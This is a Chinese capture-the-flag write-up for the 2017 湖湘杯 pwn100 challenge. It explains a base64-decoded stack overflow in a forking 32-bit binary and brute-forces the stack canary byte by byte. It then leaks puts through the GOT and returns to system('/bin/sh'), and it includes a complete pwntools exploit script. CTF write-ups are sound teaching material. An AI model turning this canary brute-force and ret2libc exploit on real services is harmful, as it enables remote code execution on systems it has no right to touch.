考察点

  • 栈溢出
  • 绕过canary

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn100h

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

测试

先随手输入测试一下
2017年湖湘杯pwn100 随笔 第1张
从结果来看很像栈溢出了。

静态分析找到漏洞

打开IDA查看代码
2017年湖湘杯pwn100 随笔 第2张
找到main函数,跟进sub_8048B29()

 

2017年湖湘杯pwn100 随笔 第3张
2017年湖湘杯pwn100 随笔 第4张
跟进去找到输入点,可以看到最大可以输入512字节的数据,对于输入格式的要求是能够进行base64解码。

 

2017年湖湘杯pwn100 随笔 第5张
根据我圈起来的地方基本上可以很明显的看出这是base64解密

 

如果对base64还有不懂,可以参考base64 c语言实现维基百科

找到栈溢出

base64解码的结果存入char数组v21[257],base64解码之后的数据大小大概是原来的3/4,足够造成栈溢出了。
2017年湖湘杯pwn100 随笔 第6张
漏洞函数地址为0x080487E6

分析下多进程

2017年湖湘杯pwn100 随笔 第7张

 

wait(0)函数的作用是等待任意一个子进程退出。
http://www.cnblogs.com/linux-sir/archive/2012/01/27/2330014.html

利用漏洞

checksec查看开启了什么保护,这题的难点就在canary了。

2017年湖湘杯pwn100 随笔 第8张

利用思路

一般的思路是先leak出canary的cookie,然后在payload里,把原来的canary位置的cookie用我们leak出的正确的cookie写入,之后就是正常的rop。
不过这题,emmm,有个fork呀……参考这篇文章http://0x48.pw/2017/03/14/0x2d/,直接爆破canary
这是个32位的程序,所以canary有4个字节,最低位一定是\x00,所以只需要爆破三个字节即可。
构造爆破payload格式为:padding+canary+chr(i)(canary的玩法不要太多,可以参考这篇文章:http://veritas501.space/2017/04/28/论canary的几种玩法/)

爆破

先找到padding的大小
2017年湖湘杯pwn100 随笔 第9张
再看看canary在哪,在数组旁边。
2017年湖湘杯pwn100 随笔 第10张
2017年湖湘杯pwn100 随笔 第11张
所以我们的padding大小就是257字节了。
再重复一遍,对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。 那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

 

爆破函数

1 2 3 4 5 6 7 8 9 10 11 canary = '\x00' p.recvuntil('May be I can know if you give me some data[Y/N]\n') for i in xrange(3):     for j in xrange(256):         p.send('Y\n')         p.send(b64encode('a'*257+ canary + chr(j)))         recv =p.recvuntil('May be I can know if you give me some data[Y/N]\n')         if 'Finish' in recv:             canary += chr(j)             break print 'find canary:'+canary.encode('hex')

构造rop

关于构造rop可以参考蒸米的文章:https://yq.aliyun.com/articles/58699
2017年湖湘杯pwn100 随笔 第12张

leak出puts函数的地址

所以我们的payload1格式就是rop = padding + canary + padding + puts_plt_addr + 漏洞函数地址 + puts_got_addr(作为puts的参数)

计算system地址和在libc里找到'/bin/sh'地址

libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
next(libc.search('/bin/sh')- libc.symbols['puts'] + u32(puts_addr)

return to system,getshell

payload2格式为rop=padding+canary+padding+system_addr+padding+sh_addr
2017年湖湘杯pwn100 随笔 第13张

exp

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import * from base64 import * elf = ELF('pwns') # libc = ELF('libc.so.6') libc=ELF('/lib/i386-linux-gnu/libc.so.6') puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] vulc_addr = 0x080487E6 p = process('./pwns') # brute canary = '\x00' p.recvuntil('May be I can know if you give me some data[Y/N]\n') for i in xrange(3):     for j in xrange(256):         p.send('Y\n')         p.send(b64encode('a'*257+ canary + chr(j)))         recv =p.recvuntil('May be I can know if you give me some data[Y/N]\n')         if 'Finish' in recv:             canary += chr(j)             break print 'find canary:'+canary.encode('hex') payload1 = 'a'*257+ canary +'a'*12+flat(puts_plt_addr,vulc_addr,puts_got_addr) p.send('Y\n') p.recvuntil('Give me some datas:\n\n') p.send(b64encode(payload1)) puts_addr = p.recv()[268:268+4] system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr) sh_addr = next(libc.search('/bin/sh'))- libc.symbols['puts'] + u32(puts_addr) p.send('Y\n') p.send('Y\n') payload2 = 'a'*257+canary+'a'*12+flat(system_addr,p32(1),sh_addr) p.send(b64encode(payload2)) p.interactive()


 

 
 

 

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄